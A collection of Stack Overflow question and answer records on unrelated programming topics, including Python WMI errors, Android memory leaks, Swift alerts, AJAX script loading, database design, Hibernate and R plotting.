15809129	1	Error while getting details of the particular system through python script <p>I am using a <a href="http://pastebin.com/RXH4b11v" rel="nofollow noreferrer">script</a> for getting system details. its all working fine in almost 1000 systems, but in one system its getting the below error.</p> <pre><code>File "SystemDetails.py", line 36, in __init__ File "&lt;COMObject WbemScripting.SWbemLocator&gt;", line 5, in ConnectServer File "\\sfs\show_time\Showtime_Package\showtime\Modules\x32\win32com\client\dynamic.py", line 272, in _ApplyTypes_ result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType, argTypes) + args) com_error: (-2147352567, 'Exception occurred.', (0, u'SWbemLocator', u'Not found ', None, 0, -2147217406), None) </code></pre> <p>when i checked the system properties of that system, i found out that only ram is displaying. In rest of the systems both ram and processer information is displayed. for your reference i have attached both system details of my system and the the issue system.</p> <p><img src="https://i.stack.imgur.com/Ygoge.jpg" alt="enter image description here"> <img src="https://i.stack.imgur.com/ewrWL.jpg" alt="enter image description here"></p> <p>Can anyone help me to find out the problem and the solution fot it</p>
18798191	0	 <p>This is definitely a nasty memory leak. I've <a href="https://code.google.com/p/android/issues/detail?id=60071" rel="nofollow">opened an issue</a> for it since no one else seems to have reported it.</p> <p>Thanks for the "ugly workaround" emmby, that was helpful. A safer approach, although potentially with a performance impact, is to disable URLConnection caching altogether. Since the URLConnection.defaultUseCaches flag is static and, as you might guess, is the default for each instance's useCaches flag, you can just set this to false and no more instances will cache their connections. This will affect all implementations of URLConnection, so it may have farther-ranging effects than desired, but I think it's a reasonable trade-off.</p> <p>You can just create a simple class like this and instantiate it very early in your app's onCreate():</p> <pre><code>public class URLConnectionNoCache extends URLConnection { protected URLConnectionNoCache(URL url) { super(url); setDefaultUseCaches(false); } public void connect() throws IOException { } } </code></pre> <p>The interesting thing is that since this occurs after your app is loaded and run, the system libs should already be cached, and this will only prevent further caching, so this probably gives the best possible trade-off: not caching your apk while allowing the performance benefits of caching the system jars.</p> <p>Before doing this I did modify emmby's solution a bit to make it a standalone class that creates a background thread to periodically clear the cache. And I restricted it to just clear the app's apk, though that can be relaxed if desired. The thing to worry about here is that you're modifying the objects while they may be in use, which is generally not a good thing. If you do want to go this route you just need to call the start() method with a context, e.g. in your app's onCreate().</p> <pre><code>package com.example; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.jar.JarFile; import java.util.regex.Pattern; import android.content.Context; // hack to remove memory leak in JarURLConnectionImpl // from http://stackoverflow.com/questions/14610350/android-memory-leak-in-apache-harmonys-jarurlconnectionimpl public class JarURLMonitor { private static JarURLMonitor instance; private Pattern pat; private Field jarCacheField; public volatile boolean stop; private static final long CHECK_INTERVAL = 60 * 1000; public static synchronized void start(Context context) { if (instance == null) { instance = new JarURLMonitor(context); } } public static synchronized void stop() { if (instance != null) { instance.stop = true; } } private JarURLMonitor(Context context) { // get jar cache field try { final Class&lt;?&gt; cls = Class.forName("libcore.net.url.JarURLConnectionImpl"); jarCacheField = cls.getDeclaredField("jarCache"); jarCacheField.setAccessible(true); } catch (Exception e) { // log } if (jarCacheField != null) { // create pattern that matches our package: e.g. /data/app/&lt;pkgname&gt;-1.apk pat = Pattern.compile("^.*/" + context.getPackageName() + "-.*\\.apk$"); // start background thread to check it new Thread("JarURLMonitor") { @Override public void run() { try { while (!stop) { checkJarCache(); Thread.sleep(CHECK_INTERVAL); } } catch (Exception e) { // log } } }.start(); } } private void checkJarCache() throws Exception { @SuppressWarnings("unchecked") final HashMap&lt;URL, JarFile&gt; jarCache = (HashMap&lt;URL, JarFile&gt;)jarCacheField.get(null); final Iterator&lt;Map.Entry&lt;URL, JarFile&gt;&gt; iterator = jarCache.entrySet().iterator(); while (iterator.hasNext()) { final Map.Entry&lt;URL, JarFile&gt; entry = iterator.next(); final JarFile jarFile = entry.getValue(); final String file = jarFile.getName(); if (pat.matcher(file).matches()) { try { jarFile.close(); iterator.remove(); } catch (Exception e) { // log } } } } } </code></pre>
25927937	0	 <p>From Xcode 6.0 UIAlertView class:</p> <blockquote> <p>UIAlertView is deprecated. Use UIAlertController with a preferredStyle of UIAlertControllerStyleAlert instead.</p> </blockquote> <p>On swift ( iOS 8 and OS X 10.10 ), you can do this:</p> <pre><code>var alert = UIAlertController(title: "Alert Title", message: "Alert Message", preferredStyle: UIAlertControllerStyle.Alert) alert.addAction(UIAlertAction(title: "Close", style: UIAlertActionStyle.Cancel, handler:handleCancel)) alert.addAction(UIAlertAction(title: "Ok", style: UIAlertActionStyle.Default, handler:{ (ACTION :UIAlertAction!)in println("User click Ok button") })) self.presentViewController(alert, animated: true, completion: nil) func handleCancel(alertView: UIAlertAction!) { println("User click cancel button") } </code></pre>
33876298	0	Script to be executed in a Div loaded by Ajax <p>I'm using AJAX to load an HTML page inside a <code>div</code>, but this page has scripts that don't work if I load the AJAX code using the click function. The problem is that I need the page to execute the scripts when I click some specific button.</p> <p>The code that works, but load with main page, not when I click the button:</p> <pre><code>$('document').ready(function(){ $.ajax({ url: "primeiro/index.html", }).done(function (data) { $("#curso").html(data); $('#curso').each(function (index, element) { eval(element.innerHTML); }); }); }); </code></pre> <p>I change to this:</p> <pre><code>$('document').ready(function(){ $("#loginsb").click(function () { $.ajax({ url: "primeiro/index.html", }).done(function(data) { $("#curso").html(data); $('#curso').each(function(index, element) { eval(element.innerHTML); }); }); }); }); </code></pre> <p>Then the page seems to be "paused", so, can't load the script.</p> <p>How can I use the click (in <code>#loginsb</code> button) function to load the content inside my <code>div</code>?</p> <p>Thanks!</p>
28821333	0	SQL database relational: performance modeling one to many <p>I have got a doubt modeling a relational database. I wonder which option is best in design and performance.</p> <p>First option:</p> <pre><code> Project Project_task Task -------- ----------- ----- id id_project id id_task </code></pre> <p>Second option (my doubt):</p> <pre><code> Project Task -------- ------ id id id_project (INDEX) </code></pre> <p>Note: One project can has got many task, but one task only can has got a project.</p> <p>Maybe the second option is less "relational" but I think it has more performance. I can get all the task of one project quering with a single SELECT without JOIN. I have got a table less than maintaining...</p> <p>Is the second option a good practice and choice?</p>
2437421	0	 <p>Does your TableAdapter refresh your DataSet? If it does, then you probably have something like a key getting initialized (remember, GUID==good, Int==bad). It's just like when you fill from a TableAdapter you need to call AcceptChanges to reset the state of all of the rows to unchanged.</p>
33103263	0	Android MediaPlayer with LocalSocket not working <p>I am trying to play media from LocalSocket using MediaPlayer. The stream is of type MPEG-TS, which is availale in a LocalSocket input stream</p> <p>Following code tries to <code>setDataSource</code> to the <code>FileDescriptor</code> of <code>LocalSocket</code>, but failes.</p> <pre><code>LocalSocket wsIns = fileThread.getReadSocket(); p = new MediaPlayer(); p.setDisplay(holder); FileDescriptor fd = wsIns.getFileDescriptor(); Log.e("TS","is valid ? "+fd.valid()); p.setDataSource(fd ,0, fileThread.getLength()); </code></pre> <p>setDataSource fails with following exception.</p> <pre><code>10-13 17:21:31.510: W/System.err(6472): java.io.IOException: setDataSourceFD failed.: status=0x80000000 10-13 17:21:31.510: W/System.err(6472): at android.media.MediaPlayer.setDataSource(Native Method) 10-13 17:21:31.510: W/System.err(6472): at com.example.test.TSRenderActivity.surfaceCreated(TSRenderActivity.java:94) </code></pre> <p>The debug logs suggest that the error is primarily due to <a href="http://androidxref.com/4.1.2/xref/frameworks/av/media/libmediaplayerservice/MediaPlayerService.cpp#835" rel="nofollow">this</a>, where <code>fstat</code> on the LocalSocket's file descriptor returns size of the file as 0.</p> <p>But if I try <code>wsIns.getInputStream().available()</code> this api gives non zero number of bytes available.</p> <p>Note : The same error on using <code>p.setDataSource(fp);</code></p>
26155209	0	 <p>This is to demonstrate HA functionality, so that users can try this on their local machine, Do use the appropriate machine host/ips and ports when appropriate. </p> <p>Suho </p>
1805871	0	 <p>I think that you need to use the order table instead of the order view to do this.</p>
13340905	0	 <pre><code>var re = /(#{5})/; console.log ("&lt;foo&gt;\n&lt;bar&gt;\n#####&lt;foo&gt;\n#####&lt;bar&gt;".match (re)); console.log ("&lt;foo&gt;\n&lt;bar&gt;\nfoo&gt;\n&lt;bar&gt;".match (re)); </code></pre> <p>output:</p> <pre><code>[ '#####', '#####', index: 12, input: '&lt;foo&gt;\n&lt;bar&gt;\n#####&lt;foo&gt;\n#####&lt;bar&gt;' ] null </code></pre> <p>If it's optional the regexp fails when there's no match and if it fails it returns null.</p> <pre><code>&gt; /a/.exec("a") [ 'a', index: 0, input: 'a' ] &gt; /a/.exec("b") null &gt; "a".match(/a/) [ 'a', index: 0, input: 'a' ] &gt; "b".match(/a/) null </code></pre> <p>Also, don't use String#match(), it's slower than RegExp#exec() and both return the same:</p> <p><a href="http://jsperf.com/string-match-vs-regexp-test/3" rel="nofollow">match() vs exec()</a></p>
25867231	0	 <p>Here is solution using transforming string to XML which brings more freedom with result processing:</p> <pre><code>-- Prepare data for solution testing DECLARE @srctable TABLE ( Id INT, SnmpMessage VARCHAR(MAX), SnmpMessageXml XML ) INSERT INTO @srctable SELECT Id, SnmpMessage, SnmpMessageXml FROM ( VALUES (1, 'community=PUBLIC, enterprise=1.1.1.1.1.1.1.1.1.1.1, uptime=42170345, agent_ip=1.1.1.1, version=Ver2', null) ) v (Id, SnmpMessage, SnmpMessageXml) -- Transform source formatted string to XML string UPDATE @srctable SET SnmpMessageXml = CAST('&lt;row&gt;&lt;data ' + REPLACE(REPLACE(SnmpMessage, ',', '"/&gt;&lt;data '), '=', '="') + '"/&gt;&lt;/row&gt;' AS XML) -- Final select from XML data SELECT SnmpMessageXml.value('(/row/data/@community)[1]', 'VARCHAR(999)') AS community, SnmpMessageXml.value('(/row/data/@enterprise)[1]', 'VARCHAR(999)') AS enterprise, SnmpMessageXml.value('(/row/data/@uptime)[1]', 'VARCHAR(999)') AS uptime, SnmpMessageXml.value('(/row/data/@agent_ip)[1]', 'VARCHAR(999)') AS agent_ip, SnmpMessageXml.value('(/row/data/@version)[1]', 'VARCHAR(999)') AS version FROM @srctable AS t </code></pre>
40434977	0	IPSEC is Creating Multiple SAD's at rekeying in phase2 <p>I am trying to create a tunnel between two peers with ipsec.while establishing the tunnel at first time, the number of sad(inbound &amp; outbound) entries are as per number of peers. Once after reaching to soft limit of ipsec timer it is starting the re-negotiation to create new sad's, but it is not creating entries as per number of peers, it is negotiating &amp; creating multiple sad entries until the timer reaches to Hard limit.</p> <pre><code>Example:- #setkey -D | grep diff diff:65 Hard:1000 soft:800 </code></pre> <p>In between Soft to Hard limit, it is negotiating &amp; creating multiple sad entries, sometimes my data is also not transferring from my site to peer site but timers are in active.</p> <p>For this i have checked with versions from ipsec-tools-0.7.2 to ipsec-tools-0.8.2, i have checked all versions in between them &amp; i am using linux kernel 2.6.11.</p> <p>can any one tell me, what is the limit or how many it has to create while rekeying, otherwise why this many sad entires are being created.</p>
18624227	0	 <p><code>message.getBytes()</code> in your case is trying to convert Chinese Unicode characters to bytes using the default character set on your computer. If its a western charset, its going to be wrong.</p> <p>Notice that <code>String.getBytes()</code> has another form with <code>String.getBytes(String)</code> where the string is the name of a character encoding that is used to convert the chars of the string to bytes.</p> <p>The <code>char</code> type will hold Unicode. The <code>byte</code> type only holds raw bits in groups of 8.</p> <p>So, to convert a Unicode string to bytes encoded as UTF-16 you would use this code:</p> <pre><code>String message =" 汉语"; byte[] utf16Bytes = message.getBytes("utf-16"); </code></pre> <p>Substitute the name of any encoding that you want to use.</p> <p>Similarly <code>new String(String, byte[])</code> constructor can take an array of bytes encoded in some fashion and, given the String, can convert those bytes to Unicode characters.</p> <p>For example: If you want to convert those bytes, which were encoded as utf-16 above, back to a <code>String</code> (which has Unicode <code>char</code>s in it):</p> <pre><code>String newMessage = new String(utf16Bytes, "utf-16"); </code></pre> <p>Since I don't know what you mean by "binary code" above, I can't go much farther. As I see it, the Unicode chars have a binary code inside them that represents the characters one-by-one. Also the byte array has a binary code in it that represents the characters with a many-bytes-to-one-character representation. If you want to encrypt the byte array somehow, use a standard, proven encryption method and proven, time-tested procedures to secure the contents.</p>
11465707	0	 <p>I ran your code and I got this error: XMLHttpRequest cannot load <a href="http://api.jquery.com/get/" rel="nofollow">http://api.jquery.com/get/</a>. Origin null is not allowed by Access-Control-Allow-Origin.</p> <p>I googled it and I got this: <a href="http://stackoverflow.com/questions/8456538/origin-null-is-not-allowed-by-access-control-allow-origin">Origin null is not allowed by Access-Control-Allow-Origin</a></p>
6145644	0	 <p>Try this to force correct detection of the charset:</p> <pre><code>$doc = new DOMDocument(); @$doc-&gt;loadHTML('&lt;?xml encoding="UTF-8"&gt;' . $html); $nodes = $doc-&gt;getElementsByTagName('title'); $title = $nodes-&gt;item(0)-&gt;nodeValue; echo $title; </code></pre>
34364188	0	 <p>Assuming you want to add the result <code>z</code> from each method:</p> <pre><code>static int number1(){ int x, y, z; x=2; y=2; z=x+y; return z; } static int number2(){ int x, y, z; x=3; y=2; z=x+y; return z; } </code></pre> <p>You could simplify this though to a more generic method:</p> <pre><code>static int adder(int a, int b) { return a + b; } public static void main (String [] args){ p = adder(2, 2) + adder(3, 2); } </code></pre>
6105179	0	Generate AST for Java with ANTLR <p>As far as I know, there are two mechanisms in ANTLR for building abstract syntax trees. I want to build a AST for Java source files.</p> <p>Question: There are so many grammar rules in Java.g (java specification), it's a large work if I specify the AST generating rules for every item in Java.g. So I wondering if there is a ready-made one, and where can I get it.</p>
3641409	0	 <p>Check here: <a href="http://jsfiddle.net/uh2Gn/" rel="nofollow noreferrer">http://jsfiddle.net/uh2Gn/</a></p> <p>HTML:</p> <pre><code>&lt;form method="post" enctype="" onsubmit="return validate()"&gt; &lt;input type="file" id="file" /&gt; &lt;input type="submit" /&gt; &lt;/form&gt; </code></pre> <p>JavaScript:</p> <pre><code>function validate() { var filename=document.getElementById('file').value; var extension=filename.substr(filename.lastIndexOf('.')+1).toLowerCase(); //alert(extension); if(extension=='jpg' || extension=='gif') { return true; } else { alert('Not Allowed Extension!'); return false; } } </code></pre> <p>Keep in mind that this is only for user convenience, that he doesn't go theu a long submit process to get an error at the server, cuz for sure you <em>must</em> implement a check at server-side.</p>
31561644	0	Why doesn't this function load after a successful ajax call in jquery? <p>I'm using <a href="http://papermashup.com/parse-xml-with-jquery/" rel="nofollow">the tutorial here</a>, that used to work last month, but now it isn't. I've copied the relevant code below.</p> <pre><code>$(document).ready(function () { $.ajax({ type: "GET", url: "http://papermashup.com/demos/jquery-xml/books.xml", dataType: "xml", success: xmlParser }); alert("123"); }); function xmlParser(xml) { alert("456"); $('#load').fadeOut(); $(xml).find("Book").each(function () { $(".main").append('&lt;div class="book"&gt;&lt;div class="title"&gt;' + $(this).find("Title").text() + '&lt;/div&gt;&lt;div class="description"&gt;' + $(this).find("Description").text() + '&lt;/div&gt;&lt;div class="date"&gt;Published ' + $(this).find("Date").text() + '&lt;/div&gt;&lt;/div&gt;'); $(".book").fadeIn(1000); }); } </code></pre> <p>The problem is that the xmlParser() function isn't being called after the successful ajax request. It shows a 123 alert but not a 456 alert. Am I doing something wrong, or is the tutorial wrong?</p> <p>I've included a relevant jsfiddle here. <a href="http://jsfiddle.net/desbest/nwt3unxu/" rel="nofollow">http://jsfiddle.net/desbest/nwt3unxu/</a></p>
9040800	0	 <p>You are creating an array that is too small for the loop. Namely: <code>new char[28][31];</code> will only allow for a maximum index of 27 and 30. Your for loops are:</p> <pre><code>for (int i=0; i&lt;=31; i++) for (int y=0; y&lt;=28; y++) </code></pre> <p>Use <code>i&lt;31</code> and <code>y&lt;28</code>, or increase your array to be <code>[29][32]</code>. Either one of these should solve your current problem.</p>
21509019	0	 <p>You're on the right track using dimensions. Make a different <code>values</code> folder for each screen size you'd like to support, ie <code>values-sw320dp</code>, <code>values-sw600dp</code>, etc. Each with its own dimens.xml file. Then, put different values for leftMargin, topMargin, etc in each dimens file. Look at the section "Using new size qualifiers" <a href="http://developer.android.com/guide/practices/screens_support.html" rel="nofollow">here</a> for more info.</p>
31466863	0	 <p>Your mistake is here:</p> <pre><code>while(right-&gt;next != NULL){ right = right-&gt;next; } </code></pre> <p>You are trying to check "right->next" where "right" is NULL.</p>
7437766	0	Help me understand this algorithm (simple) <p>I have just made a queue class and I now have to use it to do this.</p> <p>Write a c++ program to generate all strings using A,B,and C as the letters.</p> <p>The strings must be generated in the following order: A B C AA AB AC BA BB BC CA CB CC AAA AAB AAC ABA ABB ABC ACA ACB ACC etc.</p> <p>It's supposed to do this until my queue overflows.</p> <p>Now, I simply don't understand the algorithm the teacher suggested using, which is this.</p> <p><strong>Start with A and B and C in the queue. “Remove it Display it then Add Add Add ”</strong> </p> <p>The add add add thing throws me off, how does it accomplish getting these letters in this particular order?</p>
16022969	0	 <p>Monocross development has not been halted. It is still under active development, the team that released the Monocross cross-platform framework has been hard at work on <a href="http://ifactr.com" rel="nofollow">iFactr</a>, their enterprise level UI abstraction layer with data cache and queue.</p> <p>They just announced a recommitment to the open source community on Xamarin's cross-platform forums.</p>
15843242	0	 <p>Easy with do-while:</p> <pre><code>Scanner keyboard = new Scanner(System.in); int startr, endr; boolean good = false; do { System.out.println("Enter the Starting Number of the Range: "); startr = keyboard.nextInt(); if(startr % 10 == 0 &amp;&amp; startr &gt;= 0) good = true; else System.out.println("Numbers is not divisible by 10"); } while (!good); good = false; do { System.out.println("Enter the Ending Number of the Range: "); endr = keyboard.nextInt(); if(endr % 10 == 0 &amp;&amp; endr &lt;= 1000) good = true; else System.out.println("Numbers is not divisible by 10"); } while (!good); // do stuff </code></pre>
32722441	0	Finding a single, or multiple values from a string of arrays in Javascript <p>I'm trying to search through my array for whatever number I put in, but it doesn't work as intended. </p> <p>In external javascript:</p> <pre><code>window.onload = startup; function startup() { runArraySequence () { writeArray.onclick = findArray; } } var array = [5,3,9,12,19,15,13,6,9,2,4,7,8,17]; function findArray () { //The following script is a part of a 12 "else if" radio button form. if (arrayRad11.checked) { var searchNumber = document.getElementById("arrayValue").value; var arrayResult = -1; for (var i=0; i &lt; array.length; i++) { if (array[i] === searchNumber) { i = arrayResult; } if (arrayResult &lt; 0) { msg6.innerHTML = "Found number " + searchNumber + ", " + arrayResult + " times."; } } } } </code></pre> <p>HTML code:</p> <pre><code>&lt;div&gt; &lt;form&gt; &lt;input type="radio" id="arrayRad11" name="array" value="11"&gt;Find Number:&lt;/input&gt; &lt;input type="number" id="arrayValue" placeholder="Find Array Number"&gt;&lt;/input&gt;&lt;br /&gt; &lt;input type="button" id="writeArray" value="Skriv tall"&gt;&lt;/input&gt; &lt;input type="button" value="Reset" onClick="window.location.reload()"&gt;&lt;/input&gt; &lt;/form&gt; &lt;p id="msg6"&gt;&lt;/p&gt; &lt;/div&gt; </code></pre> <p>Also uploaded to <a href="http://jsfiddle.net/v48am4jo/5/" rel="nofollow">jsfiddle</a></p>
14812532	0	 <p>The <code>develop</code> command wants to add a <code>.pth</code> entry for your project so that it can be imported as an egg. See the <a href="http://pythonhosted.org/setuptools/setuptools.html#development-mode" rel="nofollow">Development mode documentation</a>, as well as the <a href="http://pythonhosted.org/setuptools/setuptools.html#develop" rel="nofollow"><code>develop</code> command docs</a>.</p> <p>The default is to put that entry in site-packages. Set a different library path with the <code>--install-dir</code> switch.</p>
21900487	0	Acessing activity data from custom button <p>In my Android activity I have created members which I want to access from my custom button created dynamically. Is there a mechanism to do this? Thanks in advance.</p>
13285184	0	In Scala, what's the most idiomatic way to name the case class equivalent of an ORM class? <p>I have to work with Lift's Mapper (I know there might be better ORMs for Scala, but this is not something I have the power to change right now). Typically, with Mapper, a table is defined this way:</p> <pre><code>package com.sample.model import net.liftweb.mapper._ class Table extends LongKeyedMapper[Table] with IdPK { def getSingleton = Table object other_table_id extends MappedLongForeignKey(this, OtherTable) object date_field extends MappedDate(this) object string_field extends MappedString(this, 255) def toCaseClass = ... } object Table extends Table with LongKeyedMetaMapper[Table] </code></pre> <p>Now I'd like to define a case class for Table to manipulate the records more easily, as Mapper is not very "Scala-idiomatic", not very type-safe, and definitely not immutable. My case class would look like this:</p> <pre><code>case class TableCC(id: Long, otherTableId: Long, dateField: Option[Date], ...) { def toMapper = ... } </code></pre> <p>How should I name the case class and where should I put it?</p> <ol> <li>In com.sample.model with a different name (TableCC or TableCaseClass)?</li> <li>In a different packagge (e.g. com.sample.model.caseclass) with the same name (Table)?</li> <li>In the Table object?</li> <li>...?</li> </ol>
14715703	0	 <p>you may use something like:</p> <p><code>var list = variants[stringToGetCorrespondingList]</code></p>
30540893	0	 <p>In that case you should be performing a <code>LEFT JOIN</code> instead like</p> <pre><code>SELECT SH1.[Sticker Price], SH1.[Credit Price], SH1.[Cash Price], SH1.[Credit Price], UG.Description as Value, CASE ROW_NUMBER() OVER(ORDER BY UG.Description) WHEN 1 THEN 1 ELSE 0 END as ISDEFAULT FROM [uStore].[dbo].[ACL_UserGroup] UG LEFT JOIN [uStore].[dbo].[ACL_UserGroupMembership] UGM ON UG.UserGroupId = UGM.UserGroupId LEFT JOIN [XMPDBHDS].[XMPieHDSSchema60].[Sheet1] SH1 ON CONVERT(nvarchar(100), SH1.[Centre Code]) = UG.Description WHERE UGM.UserId = 1012 AND SH1.[Credit Price] IS NOT NULL AND UGM.UserGroupId IS NOT NULL; </code></pre>
39071641	0	 <p>I see you found your solution, but for other's where this continues I had the same problem, until I simply 1. ran</p> <pre><code>adb wait-for-device </code></pre> <ol start="2"> <li>reconnected the device via usb</li> <li>changed "Use USB for" "File Transfers"</li> </ol>
24646887	0	convert a MQLONG value to string in c++ <p>How can I print a IBMMQ MQLONG value in c++ code. It gives a segmentation fault when I try to print</p> <pre><code>printf("Queue Persistance-&gt; %s\n ", pMsgDesc -&gt; Persistence ); </code></pre> <p>Thanks</p>
32784318	0	Add thread into thread array <p>Take a look at my code.</p> <pre><code>Thread[] connect_thread; public void thread_runned() { connect_thread = new Thread[dataGridView1.SelectedRows.Count]; for (int index = 0; index &lt; dataGridView1.SelectedRows.Count; index++) { connect_thread[index] = new Thread(new ThreadStart(connect)); connect_thread[index].Start(); } } public void connect() { //performance code here } public void ButtonClick1() { //User select rows 0-4 thread_runned(); } public void ButtonClick2() { //User select rows 5-9 thread_runned(); } </code></pre> <p>According to the code above, when I run it, and click on <code>ButtonClick1</code> and <code>ButtonClick2</code>, it returns two different <code>connect_thread</code>s (see this debug for more detail.)</p> <pre><code>//Debug when ButtonClick1 is running connect_thread = array( [0] = System.Threading.Thread [1] = System.Threading.Thread [2] = System.Threading.Thread [3] = System.Threading.Thread ) //Debug when ButtonClick2 is running connect_thread = Error: Index was outside the bounds of the array. </code></pre> <p>Now, I want to add a new thread item into this thread array, but the indeces must continue like the old thread items (i.e, the next indeces will be <code>[4]</code>, <code>[5]</code>, <code>[6]</code>, etc.)</p> <p>I'm not worrying about this error:</p> <pre><code>//Debug when ButtonClick2 is running connect_thread = Error: Index was outside the bounds of the array. </code></pre> <p>because I can create a list of threads using <code>dataGridView1.Rows.Count</code>, and it will work fine. However, I'm looking to do it the other way other because when the user adds more data into <code>dataGridView</code>, the index will be wrong again.</p> <p>How can I append new threads to the end of my thread array while preserving indeces?</p>
14603704	0	 <p>If they are for use in template files you can have a look at extract. <a href="http://php.net/manual/en/function.extract.php" rel="nofollow">PHP Manual extract</a>. It will extract all variables from an array into local variables.</p>
2198174	0	 <p>XML loves recursion. It's a lot of work to lay out the nodes one-by-one or into some gigantic table grid -- your data format is heirarchical and your processing method should be as well.</p> <blockquote> <p>Yep. Tried it. I'm just having trouble getting my mind around the best way to do it. I could use tables. I could use css. Absolute positioning. But nothing I come up with in HTML is really working for me.</p> </blockquote> <p>XSLT is pretty good at transforming xml into html. the following xslt transforms your xml into a series of nested divs and tables. I'm using a table to get each colleague group aligned. seemed like the easiest way. </p> <pre><code>&lt;xsl:template match="employee"&gt; &lt;div class="wrapper"&gt; &lt;div class="smallline" /&gt; &lt;div class="box"&gt; &lt;xsl:value-of select="name"/&gt; &lt;br/&gt; &lt;xsl:value-of select="title"/&gt; &lt;/div&gt; &lt;xsl:if test="directReports/employee"&gt; &lt;div class="smallline"&gt; &lt;/div&gt; &lt;table&gt; &lt;tr&gt; &lt;xsl:for-each select="directReports/employee"&gt; &lt;td&gt; &lt;xsl:apply-templates select="." /&gt; &lt;/td&gt; &lt;/xsl:for-each&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/xsl:if&gt; &lt;/div&gt; &lt;/xsl:template&gt; </code></pre> <p>To preview, save the xslt from <a href="http://pastebin.com/f6597d519" rel="nofollow noreferrer">http://pastebin.com/f6597d519</a></p> <p>Add <code>&lt;?xml-stylesheet href="foo.xslt" type="text/xsl"?&gt;</code> to the top of your employees xml, and open in a browser. In practice, you may want to transform on the server to avoid compatibility issues. To do that in C#, see <a href="http://stackoverflow.com/questions/34093/how-to-apply-an-xslt-stylesheet-in-c">How to apply an XSLT Stylesheet in C#</a></p>
34166812	0	Hibernate/JPA: only one entry can have specific field value <p>I need something that seems not so specific but anyway I was unable to come up with nice and sophisticated solution.</p> <p>Say I have very simple hibernate/jpa entity:</p> <pre><code>@Entity(name="entity") public class Type { @Id @GeneratedValue(strategy=GenerationType.AUTO) private Long id; @Column(unique = true, nullable = false) private String name; @Column(unique = false, nullable = false) private boolean defaultType; } </code></pre> <p>What i need is to somehow annotate <em>defaultType</em> field so only (and exactly) one persisted entity have this value as true. When new entity get persisted with this <em>defaultType</em> as true, the old one (with <em>defaultType</em>=true) entity has to be altered and its <em>defaultType</em> value changed to false. Also if any entity get changed (its <em>defaultType</em> got changed to true), same rule should apply.</p> <p>As far I know this can be achieved inside business logic (e.g. in DAO layer), with DB trigger or with hibernates interceptor or event (If there is another way, please let me know). I tried with DAO solution but it's kind of bad solution because it can be bypassed and it is really clumsy for such simple operation. DB triggers can not be added with hibernate/jpa annotations (if I am not mistaken) and i am not sure how to make this functionality with hibernate interceptors/events.</p> <p>So, what is best solution for this problem?</p>
38370714	0	jbehave override scenario failure strategy <p>I have jbehave configured to execute stories via embeddable class that is extended from JUnitStories via maven goal "run-stories-as-embeddables'.</p> <p>I'm trying to achieve the following: I would like not to fail maven goal in case scenario fail was caused by known bug in the system. I've already have mechanism of defining whether this scenario has known opened bug. What is unknown is how to make jbehave not to fail maven goal in case of failure in scenario. Would appreciate any help!.</p>
21475943	0	Not able to set compression mode to JPEG-LS in JAI <p>I am using JAI 1.1.3 for windows and configured Build path to include jai_codec , jai_core and jai_imageio jars. When i try to write a image with JPEG-LS mode i get the error. Do i need to do any other configuration for JAI.</p> <pre><code> import java.awt.image.renderable.ParameterBlock; import java.io.IOException; import javax.media.jai.JAI; import javax.media.jai.PlanarImage; public class JpegLs { public static void main(String args[]) throws IOException{ float x =0; float y =0; float width =100; float height =100; PlanarImage input = JAI.create("fileload", "bear.jpg"); ParameterBlock pb = new ParameterBlock(); pb.addSource(input); pb.add(x); pb.add(y); pb.add(width); pb.add(height); PlanarImage output = JAI.create("crop",pb,null); JAI.create("filestore",output,"abc.jpg","JPEG-LS"); } } </code></pre> <p>I am getting the following error</p> <pre><code>Exception in thread "main" java.lang.IllegalArgumentException: FileStore The specified format has no associated registered ImageCodec. at javax.media.jai.JAI.createNS(JAI.java:1087) at javax.media.jai.JAI.create(JAI.java:973) at javax.media.jai.JAI.create(JAI.java:1621) at Sequence.Jai.main(Jai.java:25) </code></pre>
5792952	0	how to read and edit .resx file <p>hey guys, i have an asp.net website. which has resource file, which contains a key known as <code>ControlTitle_userarticlemanage.Text</code> whose value is set to create/edit article. now i want to manage this key at runtime, now there is a page which has edit and add button when user clicks on add the title should be create/edit article else my article...</p> <p>so i want to update the <code>ControlTitle_userarticlemanage.Text</code> key in resx file. Please any one can suggest anything for the same.</p>
3413805	0	 <p>ARM support both big and little endian. This will most probably be set by the OS so it might be worth while checking this out beforehand.</p> <p>There is also the issue of padding to word size in a struct:</p> <pre><code>struct st { char a; int b; }; </code></pre> <p>will have a <code>sizeof</code> 8 and not the expected 5 bytes. This is so that the int will be word aligned. Generally align everything to 4 bytes and probably use the gcc packed attribute (<code>struct my_packed_struct __attribute__ ((__packed__)) </code>) as well. This will ensure that the internals of the struct are as you expect.</p> <p>Alternatively use the Android Simulator to generate the data file for you.</p>
38652756	0	R: Removing unwanted `Variables sorted by number of missings:` from Graph <p>I am using the <code>VIM</code> package in R to plot missing values. I want to sort by number of values in the chart but dont want to see the section <code>Variables sorted by number of missings:</code>. The parameter <code>sortVars=TRUE,</code> is responsible for both the output and the sorting. Its useful for exploratory analysis but i want to use the output in a document using rmarkdown</p> <p>Does anyone know how to implement this. It would be better explained with the code below</p> <pre><code>set.seed(300) Q &lt;- c(1,2,3,4,5,6,NA) mydf &lt;- data.frame(participent = (1:100), A1 = sample(Q,100,replace=TRUE), A2 = sample(Q,100,replace=TRUE), A3 = sample(Q,100,replace=TRUE), B1 = sample(Q,100,replace=TRUE), B2 = sample(Q,100,replace=TRUE), B3 = sample(Q,100,replace=TRUE), C1 = sample(Q,100,replace=TRUE), C2 = sample(Q,100,replace=TRUE), C3 = sample(Q,100,replace=TRUE) ) # Missing Values sorted by volume with unwanted output aggr_plot &lt;- aggr(mydf, col=c('lightgrey','darkgreen'), numbers=FALSE, sortVars=TRUE, combined = TRUE, only.miss = TRUE, labels=names(mydf), cex.axis=.45, plot = TRUE) # Missing Values sorted by volume without unwanted output aggr_plot &lt;- aggr(mydf, col=c('lightgrey','darkgreen'), numbers=FALSE, sortVars=FALSE, combined = TRUE, only.miss = TRUE, labels=names(mydf), cex.axis=.45, plot = TRUE) </code></pre>
34615817	0	 <p>I got this problem too. It stuck when I ran: "heroku local web -f Procfile.windows" then I try to do it manually like this: "python manage.py runserver 0.0.0.0:5000" and it worked perfectly.</p>
